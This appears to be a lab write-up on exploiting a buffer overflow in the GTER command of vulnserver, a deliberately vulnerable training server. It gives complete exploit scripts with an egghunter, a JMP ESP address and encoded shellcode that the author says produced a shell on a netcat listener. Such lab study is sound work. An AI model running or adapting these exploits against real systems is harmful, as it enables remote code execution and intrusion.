Exploiting vulnserver.exe — GTER command using egghunter
In this write-up, I will discuss about attacking GTER command of vulnserver.exe with egghunter. The exploit for this command is similar to KSTET
command, so please check this write-up first before proceeding to this post as I will skip some of the details discussed on the previous post.
To get started, let’s read the source code of vulnserver.
The code tells us that it only copies 180 bytes
of our input (RecvBuf)
to GterBuf
, and it passes GterBuf
to Function1().
Let’s inspect Function1
to have a better understanding what happens next.
The contents of GterBuf
is copied to Buffer2S
without checking the length. This is where the vulnerability occurs. Since Buffer2S
can only handle 140
bytes
and GterBuf
can handle up to 180 bytes
of input, we can smash the stack by sending a payload greater than 140 bytes.
Our initial payload should look like this.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "GTER "
payload += "A"*180
r.sendline(payload)
r.close()
Sending this payload to vulnserver
makes the program crash.
Upon checking the registers, it seems that we can now control the instruction pointer.
Let’s fuzz this program to get the offset we need to control EIP.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "GTER "
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9"
r.sendline(payload)
r.close()
Sending this payload gives us the unique pattern that has overwritten the instruction pointer.
We can now control the instruction pointer with 151 bytes
of buffer.
Now, our issue here is that we only have 180 bytes
of space for our payload, and our shellcode have a length of 300
to 400
on average. We need to do a trick for sending our shellcode on the program, and at the same time jumping into it.
Upon checking again the source code, I have seen some unexploitable commands that can be used to inject our shellcode.
GDOG command stores 1024 bytes
of our input to GdogBuf
. Given this, we need to have a 2-stage payload to make our exploit work.
- Stage 1 — injecting our payload using GDOG
- Stage 2 — jumping to shellcode using GTER vulnerability
Since we can say that using the stage 1 payload, our shellcode can be located inside the program. Given this, we can use an egghunter
to locate our injected shellcode.
We can easily generate an egghunter shellcode with the help of mona
by using !mona egg -t arzy
.
Now, we need to think of a way to execute this egghunter shellcode. The length of this shellcode is 32 bytes,
and we have a limited space for our payload. We can only place this shellcode in the buffer before our instruction pointer control
.
Our stage 2 payload structure should look like this.
payload = <buffer with egghunter shellcode> + <instruction pointer control>
Now, we need to jump backwards to our egghunter shellcode
by using JMP ESP
and RELATIVE SHORT JMP.
I have introduced
JMP ESP
andRELATIVE SHORT JMP
from my previous posts, you may read about them from these posts.
Let’s check if there is an available JMP ESP
instruction that we can use with the help of mona
. We can simply use !mona jmp -r esp
to get a list of JMP ESP
instructions.
We can use 0x625011af
as our JMP ESP
instruction.
Next, we need to construct our RELATIVE SHORT JMP
instruction. Since our egghunter is just 32 bytes
and our buffer length is 70 bytes
, we can try to use JMP -50
.
Let’s reconstruct our payload structure, it should now look like this.
payload = <buffer with egghunter> + <jmp esp> + <jmp -50>
Combining everything above, our payload script should now look like this. Let’s use “\xcc
” as our egghunter placeholder.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "GTER "
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer
payload += "\xcc"*32 # egghunter placeholder
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
We successfully landed on the location that we want. Let’s replace this with our egghunter
and construct our stage 1 payload.
Our stage 1 payload
should include the egg
and the shellcode
. The payload structure should look like this.
payload = "arzy"*2 + NOP sled + shellcode
Now, let’s generate our shellcode.
To check if the egghunter can really locate our shellcode, we can add a debugging instruction (\xcc
) before the NOP sled.
Let’s now combine everything above in our payload script.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
shellcode += b"\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2"
shellcode += b"\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0"
shellcode += b"\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47"
shellcode += b"\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c"
shellcode += b"\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75"
shellcode += b"\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb"
shellcode += b"\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b"
shellcode += b"\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95"
shellcode += b"\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae"
shellcode += b"\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd"
shellcode += b"\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d"
shellcode += b"\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac"
shellcode += b"\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1"
shellcode += b"\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04"
shellcode += b"\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78"
shellcode += b"\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63"
shellcode += b"\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1"
shellcode += b"\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02"
shellcode += b"\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8"
shellcode += b"\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6"
shellcode += b"\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7"
shellcode += b"\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a"
shellcode += b"\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51"
shellcode += b"\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02"
shellcode += b"\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff"
shellcode += b"\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3"
shellcode += b"\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25"
shellcode += b"\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80"
shellcode += b"\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6"
shellcode += b"\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91"
payload = "GDOG "
payload += "arzy"*2
payload += "\xcc"*4
payload += "\x90"*100
payload += shellcode
r.readline()
r.sendline(payload)
r.readline()
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
payload = ""
payload += "GTER "
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer
payload += egghunter
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
Nothing happened after running the exploit. It seems that there is an issue with our exploit script.
Upon reviewing the exploit script, I remembered that we cannot use GDOG
coomand for our shellcode injection.
During the execution of GTER command, the contents of GdogBuf
is cleared using memset().
Upon testing different commands, the TRUN
command was able to inject our shellcode.
Let’s rewrite our exploit script.
from pwn import *
import time
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
shellcode += b"\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2"
shellcode += b"\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0"
shellcode += b"\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47"
shellcode += b"\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c"
shellcode += b"\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75"
shellcode += b"\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb"
shellcode += b"\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b"
shellcode += b"\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95"
shellcode += b"\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae"
shellcode += b"\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd"
shellcode += b"\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d"
shellcode += b"\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac"
shellcode += b"\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1"
shellcode += b"\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04"
shellcode += b"\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78"
shellcode += b"\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63"
shellcode += b"\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1"
shellcode += b"\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02"
shellcode += b"\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8"
shellcode += b"\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6"
shellcode += b"\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7"
shellcode += b"\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a"
shellcode += b"\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51"
shellcode += b"\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02"
shellcode += b"\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff"
shellcode += b"\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3"
shellcode += b"\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25"
shellcode += b"\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80"
shellcode += b"\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6"
shellcode += b"\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91"
payload = "TRUN ."
payload += "arzy"*2
payload += "\xcc"
payload += "\x90"*100
payload += shellcode
r.readline()
r.sendline(payload)
r.readline()
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
payload = ""
payload += "GTER "
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer
payload += egghunter
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
It successfully landed on our debugger. Let’s try to continue the program and check if the shellcode is executed successfully.
There was an issue encountered during shellcode execution. It seems that there was an issue with the contents of the registers or stack during execution.
Since the program is running as a server, I tried to close the current socket and reopened a new connection for the egghutner payload
.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
shellcode += b"\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2"
shellcode += b"\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0"
shellcode += b"\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47"
shellcode += b"\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c"
shellcode += b"\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75"
shellcode += b"\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb"
shellcode += b"\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b"
shellcode += b"\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95"
shellcode += b"\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae"
shellcode += b"\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd"
shellcode += b"\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d"
shellcode += b"\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac"
shellcode += b"\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1"
shellcode += b"\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04"
shellcode += b"\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78"
shellcode += b"\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63"
shellcode += b"\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1"
shellcode += b"\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02"
shellcode += b"\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8"
shellcode += b"\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6"
shellcode += b"\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7"
shellcode += b"\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a"
shellcode += b"\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51"
shellcode += b"\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02"
shellcode += b"\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff"
shellcode += b"\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3"
shellcode += b"\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25"
shellcode += b"\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80"
shellcode += b"\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6"
shellcode += b"\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91"
payload = "TRUN ."
payload += "arzy"*2
payload += "\xcc"
payload += "\x90"*100
payload += shellcode
r.readline()
r.sendline(payload)
r.readline()
r.close()
#Reopening connection to vulnserver
r = remote(host, port)
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
payload = ""
payload += "GTER "
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer
payload += egghunter
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
Again, we landed successfully on our desired location.
Continuing the program after the debug instruction.
The program continued successfully.
Going back to the netcat listener, it seems that the shellcode was executed successfully.
Let’s remove the debugger on our final script.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
shellcode += b"\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2"
shellcode += b"\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0"
shellcode += b"\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47"
shellcode += b"\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c"
shellcode += b"\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75"
shellcode += b"\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb"
shellcode += b"\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b"
shellcode += b"\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95"
shellcode += b"\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae"
shellcode += b"\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd"
shellcode += b"\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d"
shellcode += b"\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac"
shellcode += b"\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1"
shellcode += b"\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04"
shellcode += b"\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78"
shellcode += b"\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63"
shellcode += b"\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1"
shellcode += b"\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02"
shellcode += b"\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8"
shellcode += b"\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6"
shellcode += b"\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7"
shellcode += b"\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a"
shellcode += b"\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51"
shellcode += b"\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02"
shellcode += b"\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff"
shellcode += b"\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3"
shellcode += b"\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25"
shellcode += b"\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80"
shellcode += b"\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6"
shellcode += b"\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91"
payload = "TRUN ."
payload += "arzy"*2
payload += "\x90"*100
payload += shellcode
r.readline()
r.sendline(payload)
r.readline()
r.close()
#Reopening connection to vulnserver
r = remote(host, port)
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
payload = ""
payload += "GTER "
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer
payload += egghunter
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
— ar33zy